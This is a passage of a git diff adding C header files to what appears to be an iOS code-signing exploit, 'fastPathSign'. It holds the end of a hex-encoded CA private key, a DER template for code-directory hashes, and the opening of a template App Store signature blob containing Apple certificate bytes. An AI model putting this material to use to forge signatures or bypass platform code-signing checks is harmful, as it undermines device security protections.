0x65, 0x75, 0x71, 0x53, 0x2f, 0x70, 0x53, 0x68, 0x56, 0x38, 0x50, 0x6c,
|
||||
0x5a, 0x6a, 0x7a, 0x55, 0x79, 0x5a, 0x56, 0x62, 0x72, 0x70, 0x0a, 0x59,
|
||||
0x35, 0x68, 0x64, 0x58, 0x48, 0x50, 0x32, 0x53, 0x35, 0x4b, 0x76, 0x4d,
|
||||
0x76, 0x59, 0x67, 0x32, 0x77, 0x33, 0x44, 0x77, 0x38, 0x6b, 0x74, 0x2f,
|
||||
0x53, 0x63, 0x69, 0x44, 0x57, 0x6a, 0x57, 0x47, 0x42, 0x69, 0x38, 0x6e,
|
||||
0x33, 0x6a, 0x50, 0x77, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x2b, 0x36,
|
||||
0x55, 0x47, 0x6d, 0x48, 0x31, 0x4a, 0x73, 0x31, 0x56, 0x68, 0x75, 0x48,
|
||||
0x2b, 0x71, 0x4a, 0x0a, 0x56, 0x35, 0x53, 0x6f, 0x66, 0x31, 0x2b, 0x31,
|
||||
0x6f, 0x6b, 0x48, 0x52, 0x33, 0x50, 0x53, 0x33, 0x75, 0x4c, 0x6e, 0x4a,
|
||||
0x79, 0x33, 0x6a, 0x46, 0x31, 0x44, 0x73, 0x67, 0x51, 0x33, 0x48, 0x38,
|
||||
0x75, 0x56, 0x51, 0x2b, 0x6d, 0x45, 0x33, 0x34, 0x79, 0x53, 0x69, 0x59,
|
||||
0x52, 0x74, 0x6e, 0x6a, 0x4c, 0x6b, 0x6e, 0x63, 0x42, 0x71, 0x65, 0x79,
|
||||
0x5a, 0x68, 0x56, 0x50, 0x6f, 0x52, 0x68, 0x79, 0x0a, 0x64, 0x64, 0x55,
|
||||
0x47, 0x39, 0x56, 0x43, 0x75, 0x2f, 0x7a, 0x44, 0x52, 0x50, 0x6c, 0x49,
|
||||
0x6d, 0x58, 0x64, 0x5a, 0x75, 0x39, 0x51, 0x4e, 0x56, 0x36, 0x32, 0x59,
|
||||
0x43, 0x6d, 0x38, 0x2b, 0x73, 0x43, 0x6b, 0x4e, 0x57, 0x32, 0x49, 0x2f,
|
||||
0x64, 0x52, 0x73, 0x6d, 0x2b, 0x71, 0x72, 0x54, 0x46, 0x70, 0x72, 0x6a,
|
||||
0x35, 0x5a, 0x45, 0x66, 0x78, 0x45, 0x41, 0x39, 0x6f, 0x4e, 0x7a, 0x57,
|
||||
0x6a, 0x0a, 0x4d, 0x50, 0x4d, 0x6d, 0x6c, 0x51, 0x59, 0x6c, 0x33, 0x38,
|
||||
0x54, 0x74, 0x77, 0x70, 0x6f, 0x33, 0x2b, 0x6d, 0x6a, 0x46, 0x30, 0x6b,
|
||||
0x70, 0x6c, 0x6f, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x33, 0x78, 0x30,
|
||||
0x71, 0x51, 0x61, 0x4e, 0x57, 0x50, 0x67, 0x73, 0x65, 0x58, 0x55, 0x48,
|
||||
0x42, 0x47, 0x66, 0x2b, 0x36, 0x4e, 0x34, 0x58, 0x54, 0x64, 0x79, 0x39,
|
||||
0x55, 0x45, 0x73, 0x4a, 0x70, 0x47, 0x0a, 0x47, 0x42, 0x41, 0x5a, 0x79,
|
||||
0x36, 0x34, 0x57, 0x42, 0x6a, 0x47, 0x34, 0x46, 0x4f, 0x6e, 0x50, 0x47,
|
||||
0x4e, 0x4a, 0x71, 0x6c, 0x38, 0x34, 0x75, 0x39, 0x55, 0x45, 0x55, 0x6c,
|
||||
0x78, 0x39, 0x6a, 0x69, 0x79, 0x75, 0x4b, 0x42, 0x57, 0x70, 0x57, 0x2f,
|
||||
0x31, 0x6f, 0x6b, 0x44, 0x49, 0x48, 0x65, 0x70, 0x73, 0x42, 0x57, 0x52,
|
||||
0x75, 0x45, 0x4d, 0x51, 0x67, 0x4a, 0x72, 0x6a, 0x59, 0x44, 0x33, 0x0a,
|
||||
0x62, 0x37, 0x36, 0x77, 0x4a, 0x2b, 0x75, 0x42, 0x7a, 0x2f, 0x75, 0x6d,
|
||||
0x47, 0x50, 0x6f, 0x50, 0x56, 0x4f, 0x32, 0x49, 0x2f, 0x79, 0x53, 0x54,
|
||||
0x52, 0x47, 0x67, 0x66, 0x37, 0x5a, 0x70, 0x34, 0x47, 0x74, 0x50, 0x6f,
|
||||
0x54, 0x67, 0x58, 0x68, 0x54, 0x65, 0x72, 0x37, 0x58, 0x79, 0x42, 0x73,
|
||||
0x57, 0x49, 0x75, 0x78, 0x55, 0x78, 0x32, 0x2f, 0x48, 0x5a, 0x31, 0x58,
|
||||
0x6f, 0x6a, 0x78, 0x65, 0x0a, 0x37, 0x75, 0x54, 0x37, 0x41, 0x6b, 0x70,
|
||||
0x7a, 0x51, 0x51, 0x4b, 0x42, 0x67, 0x42, 0x46, 0x4b, 0x42, 0x73, 0x37,
|
||||
0x61, 0x6e, 0x76, 0x2b, 0x4d, 0x74, 0x4e, 0x4f, 0x37, 0x54, 0x48, 0x41,
|
||||
0x47, 0x52, 0x61, 0x6e, 0x73, 0x41, 0x62, 0x54, 0x54, 0x44, 0x58, 0x33,
|
||||
0x4c, 0x61, 0x37, 0x6d, 0x75, 0x53, 0x4d, 0x4f, 0x63, 0x44, 0x6c, 0x50,
|
||||
0x30, 0x6f, 0x68, 0x48, 0x39, 0x49, 0x52, 0x55, 0x51, 0x0a, 0x43, 0x4e,
|
||||
0x75, 0x35, 0x2f, 0x73, 0x66, 0x5a, 0x39, 0x4f, 0x76, 0x6e, 0x47, 0x6b,
|
||||
0x34, 0x6a, 0x54, 0x4a, 0x55, 0x6b, 0x79, 0x6d, 0x6a, 0x36, 0x4c, 0x59,
|
||||
0x58, 0x61, 0x47, 0x6b, 0x74, 0x68, 0x48, 0x4a, 0x4b, 0x39, 0x50, 0x72,
|
||||
0x79, 0x76, 0x79, 0x45, 0x4c, 0x59, 0x35, 0x44, 0x39, 0x2f, 0x36, 0x39,
|
||||
0x52, 0x59, 0x76, 0x2b, 0x49, 0x71, 0x39, 0x68, 0x39, 0x46, 0x4c, 0x42,
|
||||
0x2b, 0x79, 0x0a, 0x44, 0x6f, 0x45, 0x73, 0x62, 0x51, 0x32, 0x49, 0x43,
|
||||
0x4a, 0x54, 0x72, 0x42, 0x52, 0x6e, 0x47, 0x78, 0x68, 0x4c, 0x38, 0x4c,
|
||||
0x7a, 0x6a, 0x31, 0x61, 0x75, 0x59, 0x5a, 0x6f, 0x49, 0x53, 0x79, 0x42,
|
||||
0x44, 0x76, 0x67, 0x72, 0x61, 0x73, 0x52, 0x38, 0x30, 0x78, 0x67, 0x2f,
|
||||
0x34, 0x36, 0x2b, 0x61, 0x43, 0x37, 0x4b, 0x70, 0x59, 0x73, 0x68, 0x41,
|
||||
0x6f, 0x47, 0x41, 0x47, 0x44, 0x52, 0x4e, 0x0a, 0x6f, 0x6d, 0x47, 0x37,
|
||||
0x53, 0x76, 0x4f, 0x5a, 0x6a, 0x37, 0x78, 0x35, 0x32, 0x30, 0x6b, 0x77,
|
||||
0x41, 0x6f, 0x67, 0x64, 0x70, 0x48, 0x54, 0x2b, 0x38, 0x43, 0x42, 0x59,
|
||||
0x55, 0x62, 0x53, 0x55, 0x44, 0x68, 0x45, 0x4a, 0x68, 0x6e, 0x6c, 0x41,
|
||||
0x62, 0x68, 0x30, 0x4d, 0x34, 0x67, 0x41, 0x6f, 0x76, 0x65, 0x54, 0x71,
|
||||
0x62, 0x55, 0x66, 0x6a, 0x2f, 0x61, 0x44, 0x74, 0x6e, 0x67, 0x6e, 0x41,
|
||||
0x0a, 0x54, 0x52, 0x46, 0x4f, 0x58, 0x41, 0x56, 0x42, 0x78, 0x76, 0x65,
|
||||
0x35, 0x30, 0x41, 0x67, 0x32, 0x44, 0x62, 0x65, 0x4b, 0x30, 0x47, 0x6d,
|
||||
0x36, 0x56, 0x73, 0x74, 0x52, 0x35, 0x39, 0x6e, 0x77, 0x70, 0x4d, 0x43,
|
||||
0x68, 0x6a, 0x75, 0x4c, 0x45, 0x55, 0x47, 0x74, 0x73, 0x4d, 0x67, 0x63,
|
||||
0x33, 0x31, 0x51, 0x51, 0x6e, 0x6a, 0x49, 0x4e, 0x49, 0x4d, 0x4b, 0x5a,
|
||||
0x44, 0x53, 0x71, 0x78, 0x45, 0x0a, 0x4f, 0x78, 0x4d, 0x30, 0x47, 0x39,
|
||||
0x68, 0x43, 0x74, 0x68, 0x2b, 0x4b, 0x79, 0x55, 0x71, 0x31, 0x43, 0x72,
|
||||
0x4e, 0x31, 0x32, 0x6d, 0x2b, 0x49, 0x4b, 0x55, 0x46, 0x64, 0x36, 0x47,
|
||||
0x41, 0x70, 0x32, 0x69, 0x4e, 0x56, 0x4a, 0x6f, 0x45, 0x43, 0x67, 0x59,
|
||||
0x45, 0x41, 0x77, 0x34, 0x47, 0x6f, 0x44, 0x49, 0x77, 0x54, 0x59, 0x4e,
|
||||
0x65, 0x63, 0x4e, 0x48, 0x5a, 0x45, 0x58, 0x6e, 0x36, 0x62, 0x0a, 0x76,
|
||||
0x44, 0x51, 0x66, 0x73, 0x6e, 0x64, 0x34, 0x44, 0x30, 0x50, 0x58, 0x4c,
|
||||
0x75, 0x52, 0x63, 0x35, 0x64, 0x70, 0x77, 0x46, 0x2f, 0x6a, 0x53, 0x33,
|
||||
0x6d, 0x4a, 0x33, 0x6f, 0x74, 0x61, 0x6a, 0x7a, 0x79, 0x39, 0x59, 0x6a,
|
||||
0x76, 0x4c, 0x6c, 0x7a, 0x75, 0x55, 0x38, 0x70, 0x43, 0x46, 0x36, 0x45,
|
||||
0x45, 0x48, 0x70, 0x57, 0x6e, 0x71, 0x55, 0x54, 0x47, 0x69, 0x74, 0x51,
|
||||
0x69, 0x58, 0x36, 0x0a, 0x33, 0x76, 0x69, 0x69, 0x79, 0x71, 0x6d, 0x34,
|
||||
0x2f, 0x65, 0x30, 0x75, 0x36, 0x4a, 0x66, 0x30, 0x72, 0x55, 0x2f, 0x78,
|
||||
0x71, 0x46, 0x49, 0x54, 0x65, 0x4a, 0x37, 0x6b, 0x43, 0x6a, 0x37, 0x73,
|
||||
0x73, 0x32, 0x4e, 0x68, 0x53, 0x79, 0x54, 0x54, 0x34, 0x6a, 0x51, 0x30,
|
||||
0x33, 0x36, 0x76, 0x39, 0x57, 0x65, 0x50, 0x55, 0x69, 0x70, 0x34, 0x44,
|
||||
0x7a, 0x6c, 0x59, 0x6c, 0x65, 0x2f, 0x72, 0x79, 0x0a, 0x59, 0x43, 0x64,
|
||||
0x56, 0x73, 0x63, 0x5a, 0x59, 0x31, 0x61, 0x38, 0x73, 0x46, 0x34, 0x73,
|
||||
0x36, 0x74, 0x6e, 0x36, 0x64, 0x48, 0x75, 0x4d, 0x3d, 0x0a, 0x2d, 0x2d,
|
||||
0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x50, 0x52, 0x49, 0x56, 0x41,
|
||||
0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x0a
|
||||
};
|
||||
unsigned int CAKeyLength = 1704;
|
35
Exploits/fastPathSign/src/Templates/DERTemplate.h
Normal file
@ -0,0 +1,35 @@
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
SEQUENCE (2 bytes)
|
||||
OBJECT IDENTIFIER (2+5 bytes) 1.3.14.3.2.26 (sha1)
|
||||
OCTET STRING (2+20 bytes) <SHA1 CDHash>
|
||||
SEQUENCE (2 bytes)
|
||||
OBJECT IDENTIFIER (2+9 bytes) 2.16.840.1.101.3.4.2.1 (sha256)
|
||||
OCTET STRING (2+32 bytes) <SHA256 CDHash>
|
||||
*/
|
||||
uint8_t CDHashesDERTemplate[] = {
|
||||
/* SEQUENCE (2 bytes) */
|
||||
0x30, 0x1D,
|
||||
/* OBJECT IDENTIFIER (2+5 bytes) */
|
||||
0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A,
|
||||
/* OCTET STRING (2+20 bytes) */
|
||||
0x04, 0x14,
|
||||
/* SHA1 CDHash goes here */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
/* SEQUENCE (2 bytes) */
|
||||
0x30, 0x2D,
|
||||
/* OBJECT IDENTIFIER (2+9 bytes) */
|
||||
0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01,
|
||||
/* OCTET STRING (2+32 bytes) */
|
||||
0x04, 0x20,
|
||||
/* SHA256 CDHash goes here */
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
#define CDHASHES_DER_SIZE 78
|
||||
#define CDHASHES_DER_SHA1_OFFSET 11
|
||||
#define CDHASHES_DER_SHA256_OFFSET 46
|
370
Exploits/fastPathSign/src/Templates/TemplateSignatureBlob.h
Normal file
@ -0,0 +1,370 @@
|
||||
unsigned char AppStoreSignatureBlob[] = {
|
||||
0xfa, 0xde, 0x0b, 0x01, 0x00, 0x00, 0x11, 0x2e, 0x30, 0x80, 0x06, 0x09,
|
||||
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x02, 0xa0, 0x80, 0x30,
|
||||
0x80, 0x02, 0x01, 0x01, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
|
||||
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x80, 0x06,
|
||||
0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0x00, 0x00,
|
||||
0xa0, 0x82, 0x0d, 0x2f, 0x30, 0x82, 0x04, 0x24, 0x30, 0x82, 0x03, 0x0c,
|
||||
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9,
|
||||
0xbf, 0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
|
||||
0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b,
|
||||
0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65,
|
||||
0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74,
|
||||
0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75,
|
||||
0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06,
|
||||
0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
|
||||
0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68,
|
||||
0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
|
||||
0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
|
||||
0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13,
|
||||
0x02, 0x55, 0x53, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x39, 0x30, 0x37, 0x31,
|
||||
0x36, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x17, 0x0d, 0x32, 0x31,
|
||||
0x30, 0x38, 0x31, 0x34, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x30,
|
||||
0x61, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
|
||||
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c,
|
||||
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
|
||||
0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x06, 0x69, 0x50,
|
||||
0x68, 0x6f, 0x6e, 0x65, 0x31, 0x2c, 0x30, 0x2a, 0x06, 0x03, 0x55, 0x04,
|
||||
0x03, 0x0c, 0x23, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
|
||||
0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x69,
|
||||
0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69,
|
||||
0x6e, 0x67, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,
|
||||
0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01,
|
||||
0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xcb,
|
||||
0x4d, 0x05, 0x28, 0x65, 0x53, 0x8c, 0xd3, 0xec, 0x58, 0x78, 0x4d, 0x06,
|
||||
0x54, 0xae, 0xa0, 0x5b, 0x54, 0x07, 0xb5, 0xf1, 0x14, 0xc3, 0x85, 0x5f,
|
||||
0x94, 0x9b, 0xb5, 0x87, 0x62, 0x6c, 0x86, 0xc9, 0x67, 0xff, 0x06, 0x2e,
|
||||
0x34, 0x9a, 0x56, 0x1e, 0x0f, 0x96, 0x52, 0x3e, 0xc7, 0x5e, 0x26, 0xa2,
|
||||
0x68, 0xdc, 0xad, 0x7e, 0x51, 0xdf, 0xa4, 0x51, 0x43, 0x1b, 0xd3, 0x73,
|
||||
0xa3, 0xc9, 0x8a, 0x35, 0x55, 0x39, 0x14, 0x36, 0x5d, 0xaf, 0x98, 0x4f,
|
||||
0x53, 0x62, 0xb4, 0x71, 0x91, 0xfe, 0x3f, 0xbd, 0xb5, 0xb2, 0x3f, 0x59,
|
||||
0x0f, 0xe1, 0xda, 0xef, 0x82, 0xb9, 0x63, 0x94, 0xf4, 0xb6, 0x01, 0x50,
|
||||
0x75, 0xdd, 0xb9, 0xeb, 0xb8, 0x9c, 0xe0, 0x67, 0xb5, 0xdd, 0xa1, 0xcc,
|
||||
0x68, 0x90, 0x4a, 0x6d, 0x4b, 0x07, 0xe4, 0xa9, 0x83, 0xde, 0x9a, 0xa2,
|
||||
0xf5, 0x40, 0x5b, 0x30, 0x3a, 0x40, 0xbd, 0x11, 0x2d, 0x17, 0x18, 0xd7,
|
||||
0xe1, 0xeb, 0xa0, 0xe7, 0xf0, 0x69, 0x0f, 0x28, 0x88, 0x8e, 0xf1, 0x1d,
|
||||
0xfc, 0x47, 0xb9, 0x97, 0xe5, 0x14, 0xae, 0xc1, 0x4f, 0xaa, 0x9a, 0x30,
|
||||
0xdb, 0x74, 0x0e, 0xf9, 0xf5, 0xc0, 0xa2, 0x5a, 0xc5, 0xf3, 0x77, 0x32,
|
||||
0x2e, 0xbc, 0x21, 0xa6, 0x53, 0xa8, 0xef, 0x24, 0x99, 0x15, 0x0a, 0x66,
|
||||
0x64, 0x81, 0xfa, 0x19, 0x17, 0x0e, 0x55, 0xd1, 0xf5, 0xcf, 0xbf, 0x75,
|
||||
0x91, 0xcd, 0x7d, 0xaa, 0xa2, 0xa0, 0xa0, 0x67, 0xbb, 0x2c, 0xc6, 0xff,
|
||||
0x59, 0x15, 0x0f, 0x65, 0x19, 0xfc, 0xad, 0x04, 0xa3, 0x34, 0x84, 0x90,
|
||||
0x49, 0x1d, 0x60, 0x42, 0xaf, 0x0a, 0xc7, 0xb0, 0x47, 0x92, 0x6f, 0x14,
|
||||
0xb6, 0xf1, 0x1d, 0x5e, 0x60, 0xe2, 0xe8, 0xb1, 0xfa, 0x28, 0xaf, 0x2c,
|
||||
0xe9, 0x3b, 0x06, 0x77, 0x84, 0x31, 0xfa, 0x2d, 0x9b, 0x9b, 0x4e, 0xe4,
|
||||
0x71, 0xac, 0x77, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xcd, 0x30,
|
||||
0x81, 0xca, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff,
|
||||
0x04, 0x02, 0x30, 0x00, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
|
||||
0x18, 0x30, 0x16, 0x80, 0x14, 0x6f, 0xf1, 0x95, 0x18, 0x62, 0x5c, 0xe0,
|
||||
0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9, 0xe0, 0xd3, 0x64, 0x52, 0x98,
|
||||
0x20, 0x30, 0x40, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
|
||||
0x01, 0x04, 0x34, 0x30, 0x32, 0x30, 0x30, 0x06, 0x08, 0x2b, 0x06, 0x01,
|
||||
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x24, 0x68, 0x74, 0x74, 0x70, 0x3a,
|
||||
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
|
||||
0x61, 0x69, 0x70, 0x63, 0x61, 0x30, 0x34, 0x30, 0x16, 0x06, 0x03, 0x55,
|
||||
0x1d, 0x25, 0x01, 0x01, 0xff, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b,
|
||||
0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x1d, 0x06, 0x03, 0x55,
|
||||
0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x94, 0xb8, 0xc9, 0x60, 0x37, 0xb9,
|
||||
0xfb, 0x8f, 0x0a, 0x5e, 0xd8, 0xa8, 0x8d, 0x65, 0x7c, 0xa3, 0x36, 0x39,
|
||||
0x02, 0x30, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff,
|
||||
0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x10, 0x06, 0x0a, 0x2a, 0x86,
|
||||
0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x01, 0x03, 0x04, 0x02, 0x05, 0x00,
|
||||
0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
|
||||
0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0xf3, 0x62, 0x53,
|
||||
0x4b, 0x57, 0xfb, 0x4f, 0x61, 0x7f, 0x6f, 0x59, 0xd5, 0x37, 0x74, 0x4d,
|
||||
0x7b, 0xd3, 0xca, 0x21, 0x5c, 0xbf, 0xae, 0x19, 0x86, 0xd2, 0xa3, 0x22,
|
||||
0xa7, 0xf3, 0xe9, 0x39, 0xd9, 0x31, 0x49, 0x69, 0x26, 0xde, 0xff, 0x98,
|
||||
0x8b, 0xea, 0x91, 0x90, 0x73, 0x76, 0x4e, 0x75, 0x2d, 0x63, 0x98, 0x80,
|
||||
0x3f, 0xd7, 0xbe, 0x3c, 0x99, 0x83, 0xb9, 0x01, 0x43, 0x92, 0x03, 0xa6,
|
||||
0x3a, 0x05, 0x4e, 0x57, 0x18, 0xd0, 0x8e, 0xdd, 0x1b, 0x0e, 0xde, 0x7d,
|
||||
0xc4, 0x24, 0x0b, 0x42, 0x6d, 0x6f, 0xe4, 0x47, 0xd8, 0xc4, 0x78, 0x61,
|
||||
0xb7, 0xc3, 0x42, 0xd2, 0xe7, 0x40, 0x79, 0x2f, 0x34, 0x30, 0x49, 0x9a,
|
||||
0xaf, 0xb1, 0x9e, 0xa9, 0xfa, 0x66, 0x38, 0x78, 0x30, 0x68, 0x94, 0xdc,
|
||||
0xa7, 0x55, 0xfc, 0xbf, 0x7e, 0x9d, 0x87, 0x0c, 0xc4, 0x63, 0x31, 0x8a,
|
||||
0x0e, 0x6b, 0xbe, 0xc5, 0x07, 0xa6, 0x91, 0xc2, 0x04, 0x62, 0x53, 0x8d,
|
||||
0xae, 0x6d, 0xcb, 0x36, 0x56, 0xce, 0xc8, 0xaf, 0x39, 0xa5, 0xcb, 0x7e,
|
||||
0x90, 0x0f, 0x95, 0xcc, 0xc1, 0x43, 0x3a, 0xcd, 0xc9, 0x06, 0xb1, 0x99,
|
||||
0xd0, 0xfd, 0xf0, 0xa8, 0x42, 0xa8, 0xa0, 0xcf, 0x7a, 0x1b, 0xed, 0xde,
|
||||
0x67, 0x1c, 0x6e, 0xcd, 0x63, 0x38, 0xd5, 0x90, 0x0c, 0xee, 0x33, 0xb0,
|
||||
0xdd, 0x0e, 0x82, 0x8a, 0xc5, 0xb5, 0xb9, 0x7a, 0xe4, 0x07, 0x3b, 0x51,
|
||||
0x84, 0xbd, 0x8b, 0x58, 0x37, 0xa7, 0xf2, 0x4b, 0xb4, 0xe6, 0x16, 0x24,
|
||||
0x65, 0x8c, 0xb9, 0xba, 0x34, 0xd3, 0xfe, 0xf0, 0x29, 0x22, 0x85, 0xa7,
|
||||
0x74, 0x5c, 0x32, 0x6b, 0x88, 0x45, 0xc9, 0xde, 0x21, 0x8e, 0xd3, 0x53,
|
||||
0x9c, 0x3a, 0xd9, 0x40, 0x33, 0x59, 0x3f, 0x6f, 0xfe, 0x35, 0xc6, 0x2b,
|
||||
0x71, 0xd0, 0x3c, 0xdd, 0x36, 0x8f, 0x8e, 0x66, 0xea, 0x01, 0x25, 0x18,
|
||||
0x30, 0x82, 0x04, 0x44, 0x30, 0x82, 0x03, 0x2c, 0xa0, 0x03, 0x02, 0x01,
|
||||
0x02, 0x02, 0x08, 0x5c, 0x63, 0xca, 0xe4, 0x4a, 0x37, 0x53, 0xc9, 0x30,
|
||||
0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b,
|
||||
0x05, 0x00, 0x30, 0x62, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04,
|
||||
0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
|
||||
0x04, 0x0a, 0x13, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
|
||||
0x63, 0x2e, 0x31, 0x26, 0x30, 0x24, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x13,
|
||||
0x1d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69,
|
||||
0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74,
|
||||
0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x16, 0x30, 0x14, 0x06, 0x03,
|
||||
0x55, 0x04, 0x03, 0x13, 0x0d, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x52,
|
||||
0x6f, 0x6f, 0x74, 0x20, 0x43, 0x41, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x37,
|
||||
0x30, 0x35, 0x31, 0x30, 0x32, 0x31, 0x32, 0x37, 0x33, 0x30, 0x5a, 0x17,
|
||||
0x0d, 0x33, 0x30, 0x31, 0x32, 0x33, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30,
|
||||
0x30, 0x5a, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b, 0x06, 0x03, 0x55, 0x04,
|
||||
0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
|
||||
0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72,
|
||||
0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06, 0x03, 0x55, 0x04, 0x0b,
|
||||
0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x74,
|
||||
0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c, 0x0a,
|
||||
0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31, 0x0b,
|
||||
0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x30,
|
||||
0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
|
||||
